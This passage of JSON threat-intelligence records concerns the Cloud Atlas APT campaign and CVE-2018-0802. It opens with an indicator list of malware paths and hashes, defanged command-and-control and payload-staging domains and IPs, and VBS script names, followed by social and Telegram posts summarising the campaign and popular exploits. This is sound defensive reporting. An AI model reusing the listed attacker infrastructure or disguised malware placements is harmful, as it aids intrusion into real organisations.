C:\\pla\\reports.exe42AC350BFBC5B4EB0FEDBA16C81919C7   C:\\ProgramData\\update_[redacted].exe493B901D1B33EB577DB64AADD948F9CE  C:\\Windows\\migration\\wtr\\MicrosoftBrowser.exe2CABB721681455DAE1B6A26709DEF453  C:\\Windows\\pla\\reports\\winlog.exe1B39E86EB772A0E40060B672B7F574F1 C:\\Windows\\System32\\timecontrolsvc\\vmnetdrv64.exe1D401D6E6FC0B00AAA2C65A0AC0CFD6B C:\\Windows\\setup\\scripts\\install\\software\\activation\\aact\\dfsvc.exe40A562B8600F843B717BC5951B2E3C29  C:\\Windows\\branding\\scat.exeF721A76DEB28FD0B80D27FCE6B8F5016  C:\\Windows\\ime\\imekr\\dicts\\dfsvc.exeD3C8AFD22BAA306FF659DB1FAC28574A  C:\\ProgramData\\update_[redacted].exe6D7B2D1172BBDB7340972D844F6F0717 C:\\Users\\[redacted]\\AppData\\Local\\1c\\1cv8\\1cv8ud.exeC:\\Users\\[redacted]\\AppData\\Local\\1c\\1cv8\\svc.exe9769F43B9DE8D19E803263267FA6D62E C:\\Users\\[redacted]\\AppData\\Local\\1c\\1cv8\\1cv8ud.exe63B6BE9AE8D8024A40B200CCCB438F1D  C:\\Windows\\notepad.exe6AA586BCC45CA2E92A4F0EF47E086FA1  C:\\Windows\\splwow32.exeEBA3BCDB19A7E256BF8E2CC5B9C1CCA9   C:\\Users\\[redacted]\\Desktop\\soc\\stant.exeB4E183627B7399006C1BC47B3711E419  C:\\WINDOWS\\ime\\service.exeF56B31A4B47AD3365B18A7E922FBA1A8  dfsvc.exeF6F62456FB0FCC396FB654CBED339BC3   \u201325C8ED0511375DCA57EF136AC3FA0CCA   C:\\branding\\dwmw.exe\nBrowser checker\n5329F7BFF9D0D5DB28821B86C26D628F  C:\\ProgramData\\checker_[redacted].exe\nReverseSocks\n2B4BA4FACF8C299749771A3A4369782E  C:\\Windows\\PLA\\System\\bounce.exeC:\\Windows\\pla\\print_status.exeBA9CE06641067742F2AFC9691FAFF1DC   C:\\ProgramData\\hp\\client.exeFB0F8027ACF1B1E47E07A63D8812ED50   C:\\Windows\\System32\\timecontrolsvc\\vmnetdrv64.exeBBF1FA694122E07635DEEAC11AD712F8   C:\\Windows\\System32\\HostManagement.exeF301AA3D62B5095EEC4D8E34201A4769   C:\\Windows\\ime\\imejp\\msfu.exeF9C3BBE108566D1A6B070F9C5FB03160   C:\\Windows\\ime\\imetc\\help\\IMTCEN14.exe\nMalicious MS Office documents\n369B75BDCDED16469EDE7AB8BEDCFAE19EAAE9491F6A50D6DF0BE393734A44CB3E6E9DF00A764B348EC611EE8504ACA09BD788F285E32A05E6591D1EB36EBFFCF42085522EC2EBB16EDCF814E7C330AD2042EB5D52F0B535A1CE6B6F954C8C2B2AA1E9765EF6B00B94A9B6BE0041436A36120F5E9411BCBAC7104EF3FA964ED25000A353399500BC78381DC95B6ED2DC579A9952D31CAD801A3988DBE7914CE7867B634588C0FD6B26684D502C15AB0338FA4306FA4406BA31CF171AF4D36E3483EDDE9F7EEEFAC0363413972F35572BCC751619BFEC0DC4607C17112B9E3B2CA632858F14B36F03D0F213F5F5D6BFF2097CA205AD9E3B72018750280904718C69121C36EB8BF77962DCA825FCFFD873C5702EB250F855C8C872FFFB9BB656EDED34F5A136FBA4FDEA976570FAA33ED70577DB70844E88B32B954906E2F2079828ECF8FB6719E14231B94B4D37629B0E0857C84B62289A1A9F29E19244E9A4990C514E137860F489E3801213460EF93850568B1F9335A7E3BA4E5DF035A8FB867F776AD200287D6DE14A29158C45717951F7F794ED43FB90D0F8EBBB5EFFE628B8C753DD254509FBA5077FFD5067EAB0BC3739DEC8CD8F54F3F60A85F3ED600EEC076CD21C483A40156F4E40D08DADED216CB7F31D383C0DD892B284DF05A495116F59E70A9DF97F4ADAEA71EECB1E9A7242AC065B50BCDE9308756B49DBADCB8158552950D2E13B075001CE0C52AA97A75DBED984963B9AB21309C5B2F8FD9B0320DD389FDBAB25D46792BD2817675E5339D1A666F3E40FE756505CF1D87D4B67D7E3AEEB673BF60C59361C12A4ED8189572F0ED20791A5AC9FC4267D67CCB0B6AAE073E7BFEBF4D643C2BBEB5C02E1344CA9EA07CD4AC90EF27F8890D4EC05\nDomains and IPs\nReverse SSH/Socks domains\ntenkoff[.]orgcloudguide[.]ingoverru[.]comkufar[.]orgultimatecore[.]netspbnews[.]netonedrivesupport[.]net\nMalicious and compromised domains used in MS Office documents\namerikastaj[.]combigbang[.]mepaleturquoise-dragonfly-364512.hostingersite[.]comwizzifi[.]comtotallegacy[.]orgmamurjor[.]comlandscapeuganda[.]comlafortunaitalian.co[.]ukkommando[.]liveinternationalcommoditiesllc[.]comhumanitas[.]sifishingflytackle[.]comfirsai.tipshub[.]netalnakhlah.com[.]saallgoodsdirect.com[.]auagenciakharis.com[.]br\nPowershell payload staging\nistochnik[.]orgznews[.]netiinvestika-club[.]com194.102.104[.]20746.17.45[.]5646.17.45[.]4946.17.44[.]12546.17.44[.]212185.22.154[.]73194.87.196[.]163195.58.49[.]993.125.114[.]19393.125.114[.]5745.87.219[.]11637.228.129[.]224185.53.179[.]136185.126.239[.]775.181.21[.]75146.70.53[.]17145.15.65[.]134185.250.181[.]20781.30.105[.]71\nFile paths\nVBS scripts\nWriteToSchedulerKillSSH.vbsCreate_task_day.vbsWriteToSchedulerGenerateKey.vbsC:\\Windows\\INF\\Run.vbsc:\\Windows\\INF\\install.vbsUpdate.vbsc:\\Windows\\PLA\\System\\Gen.vbsC:\\Windows\\INF\\GenK.vbsc:\\Windows\\PLA\\System\\Kill.vbsc:\\Windows\\PLA\\System\\Run.vbs\nssh.exe\nc:\\Windows\\ime\\imejp\\Asset.exec:\\Windows\\PLA\\System\\conhosts.exec:\\Windows\\INF\\BITS\\esentprf.exec:\\Windows\\INF\\MSDTC\\RuntimeBrokers.exec:\\Windows\\inf\\diagnostic.exe\nReverseSocks\nC:\\Windows\\PLA\\System\\bounce.exeC:\\ProgramData\\hp\\client.exeC:\\Windows\\System32\\timecontrolsvc\\vmnetdrv64.exe\nTor client\nC:\\Windows\\Resources\\Update\\Intel.exeC:\\Windows\\INF\\package.exe \nsecurelist.com/cloud-atlas-202\u2026", "creation_timestamp": "2026-05-22T09:57:40.239984Z"}, {"uuid": "d7c35731-f446-4262-b1c7-bcdd195963be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://infosec.exchange/users/technadu/statuses/116618899685300978", "content": "Cloud Atlas APT campaigns targeting Russia & Belarus are leveraging phishing, CVE-2018-0802, SSH tunnels, and a new \u201cPowerCloud\u201d tool that exfiltrates data into Google Sheets.\nhttps://www.technadu.com/cloud-atlas-apt-targets-russia-and-belarus-government-and-diplomatic-entities-with-powercloud-tool/628312/\n#CyberSecurity #ThreatIntel #APT #InfoSec #Malware", "creation_timestamp": "2026-05-22T15:19:52.074444Z"}, {"uuid": "404b1798-20b1-4f96-9008-62287be34c85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://bsky.app/profile/technadu.com/post/3mmhaegolq22d", "content": "Cloud Atlas APT is reportedly targeting government & diplomatic entities in Russia and Belarus using phishing emails, CVE-2018-0802 exploits, and a new \u201cPowerCloud\u201d exfiltration tool that writes stolen data into Google Sheets.\n\n#CyberSecurity #APT #ThreatIntel #InfoSec", "creation_timestamp": "2026-05-22T15:22:38.936176Z"}, {"uuid": "570126c8-ed2a-4d52-9812-52c9fb1e0735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://bsky.app/profile/technadu.com/post/3mmhag5r7zk2d", "content": "Cloud Atlas APT is reportedly targeting government & diplomatic entities in Russia and Belarus using phishing emails, CVE-2018-0802 exploits, and a new \u201cPowerCloud\u201d exfiltration tool that writes stolen data into Google Sheets.\n\n#CyberSecurity #APT #ThreatIntel #InfoSec", "creation_timestamp": "2026-05-22T15:22:39.513785Z"}, {"uuid": "02f3dde3-fb43-4c9d-819f-99df1160c98a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mmhsaa4nxj2i", "content": "The oldest five still being exploited: CVE-2008-4250 (Windows), CVE-2009-1537 (DirectX), CVE-2009-3459 (Adobe Reader), CVE-2010-0249 and CVE-2010-0806 (Internet Explorer). All five were added on May 20.", "creation_timestamp": "2026-05-22T20:41:09.070443Z"}, {"uuid": "adfb2d25-1bd4-4af6-9349-ed93957c0d02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mmnzdevzpf2r", "content": "Oldest CVEs in this batch: CVE-2008-4250 (Microsoft), CVE-2009-1537 (Microsoft), CVE-2009-3459 (Adobe), CVE-2010-0249 (Microsoft), CVE-2010-0806 (Microsoft).", "creation_timestamp": "2026-05-25T08:04:10.081985Z"}, {"uuid": "898c4fe8-508a-410e-a4ca-e6e7ab28ce2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/true_secator/8246", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043c\u0435\u0442\u043e\u0434\u0438\u0447\u043d\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0433\u0440\u0443\u043f\u043f\u044b Cloud Atlas.\n\n\u0412 2025\u00a0\u0433\u043e\u0434\u0443 \u041b\u041a \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c SSH-\u0442\u0443\u043d\u043d\u0435\u043b\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0438 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u044f \u0435\u0435 \u0438 \u0432 2026.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u041b\u041a \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u044d\u0442\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0438 IOCs.\n\n\u0413\u0440\u0443\u043f\u043f\u0430 \u0432\u0435\u0440\u043d\u0443\u043b\u0430\u0441\u044c \u043a \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0435 \u0430\u0440\u0445\u0438\u0432\u043e\u0432 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u044f\u0440\u043b\u044b\u043a\u0430\u043c\u0438, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0438\u043c\u0438 PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442\u044b.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043e\u0447\u0435\u0442\u0430\u044e\u0442 \u044d\u0442\u0443 \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u0441 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u043a\u0430\u043a \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0440\u0430\u043d\u0435\u0435, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0441\u0442\u0430\u0440\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Office Equation Editor (CVE-2018-0802) \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0422\u0430\u043a\u0436\u0435 \u0433\u0440\u0443\u043f\u043f\u0430 \u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u043c\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438 \u0443\u0442\u0438\u043b\u0438\u0442\u0430\u043c\u0438 (Tor, SSH \u0438 RevSocks) \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0432 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438, \u0432 \u043a\u043e\u043d\u0446\u0435 2025 \u0438 \u043d\u0430\u0447\u0430\u043b\u0435 2026\u00a0\u0433\u043e\u0434\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0446\u0435\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u043f\u0440\u0435\u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0442 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430 \u0438 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b.\n\n\u0421 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u044c\u044e \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u041a \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442 \u0434\u0430\u043d\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0441 APT-\u0433\u0440\u0443\u043f\u043f\u043e\u0439 Cloud Atlas, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0440\u0430\u043d\u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 TTPs \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u0435\u043a\u0442\u043e\u0440 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, Python-\u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Tor \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0440\u0442\u043e\u0432 \u0432 \u0441\u0435\u0442\u044c Tor.\n\n\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u0436\u0435\u0440\u0442\u0432 \u0438 \u0433\u0435\u043e\u0433\u0440\u0430\u0444\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0442\u0438\u043f\u043e\u0432\u044b\u043c \u0446\u0435\u043b\u044f\u043c Cloud Atlas.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f \u0441 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c\u044e Head Mare. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u044d\u0442\u043e, TTPs \u0433\u0440\u0443\u043f\u043f \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0431\u044d\u043a\u0434\u043e\u0440 PhantomHeart, \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c\u044b\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f SSH-\u0442\u0443\u043d\u043d\u0435\u043b\u0435\u0439, \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u043b\u0441\u044f \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u0445, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 Cloud Atlas: C:\\Windows\\ime, C:\\Windows\\System32\\ime, C:\\Windows\\pla, C:\\Windows\\inf, C:\\Windows\\migration, C:\\Windows\\System32\\timecontrolsvc \u0438 C:\\Windows\\SKB.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0432 \u041b\u041a, \u0443\u0436\u0435 \u0431\u043e\u043b\u0435\u0435 \u0434\u0435\u0441\u044f\u0442\u0438 \u043b\u0435\u0442 Cloud Atlas \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0442\u044c \u0441\u0432\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439.\n\n\u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443 ReverseSocks, SSH \u0438 Tor \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445, \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0433\u0440\u0443\u043f\u043f\u044b Cloud Atlas \u043d\u0435 \u0441\u0442\u0430\u043b\u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c.\n\n\u0420\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0435 \u043a\u0430\u043d\u0430\u043b\u044b \u04212 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u044d\u0442\u0438\u0445 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0443\u0442\u0438\u043b\u0438\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u044e\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u043f\u043e\u043b\u043d\u043e\u0439 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u044d\u0442\u0438\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u0432\u0435\u0436\u0438\u0435 IOCs - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-05-26T18:00:07.000000Z"}, {"uuid": "abf9dafe-5c32-4fe9-bd31-eaeb27cc7341", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/REDTalk_base/96", "content": "\u041f\u0440\u0438\u0432\u0435\u0442, \u0434\u0440\u0443\u0437\u044c\u044f! \ud83d\udc4b\n\n\u0425\u043e\u0447\u0443 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u043e\u0442 \u043a\u043e\u043b\u043b\u0435\u0433 \u0438\u0437 Kaspersky \u043e \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u0445 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2024 \u0433\u043e\u0434\u0430.\n\n\u0417\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438: \n\n1\ufe0f\u20e3SQL Injection\n\n2\ufe0f\u20e3Command Injection\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u043b\u0438\u0434\u0435\u0440\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438\u0441\u044c:\n\n1\ufe0f\u20e3Unrestricted Upload of File with Dangerous Type\n\n2\ufe0f\u20e3SQL Injection\n\n3\ufe0f\u20e3Path Traversal\n\n\u0418\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 CVE \u0434\u043b\u044f Windows:\n\n1\ufe0f\u20e3RCE: \n        CVE-2018-0802, CVE-2017-11882 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b ms office\n\n        CVE-2021-40444 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MSHTML\n\n2\ufe0f\u20e3LPE: CVE-2017-0199 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MS office \u0438 WordPad\n\n\u0414\u043b\u044f Linux:\n\n1\ufe0f\u20e3LPE:\n        CVE-2022-0847, CVE-2023-2640 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux\n\n        CVE-2021-4034 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 pkexec\n\n\ud83d\ude0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0434\u0435\u0441\u044c: vulnerability-exploit-report-q2-2024\n\n\u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0434\u0440\u0443\u0437\u044c\u044f, \u0431\u0435\u0437 \u043f\u0430\u043d\u0438\u043a\u0438 \ud83d\ude0a!  \u0413\u0440\u0430\u043c\u043e\u0442\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0441\u0435\u0442\u0438, \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447-\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u044b\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0437\u0430\u0449\u0438\u0442\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 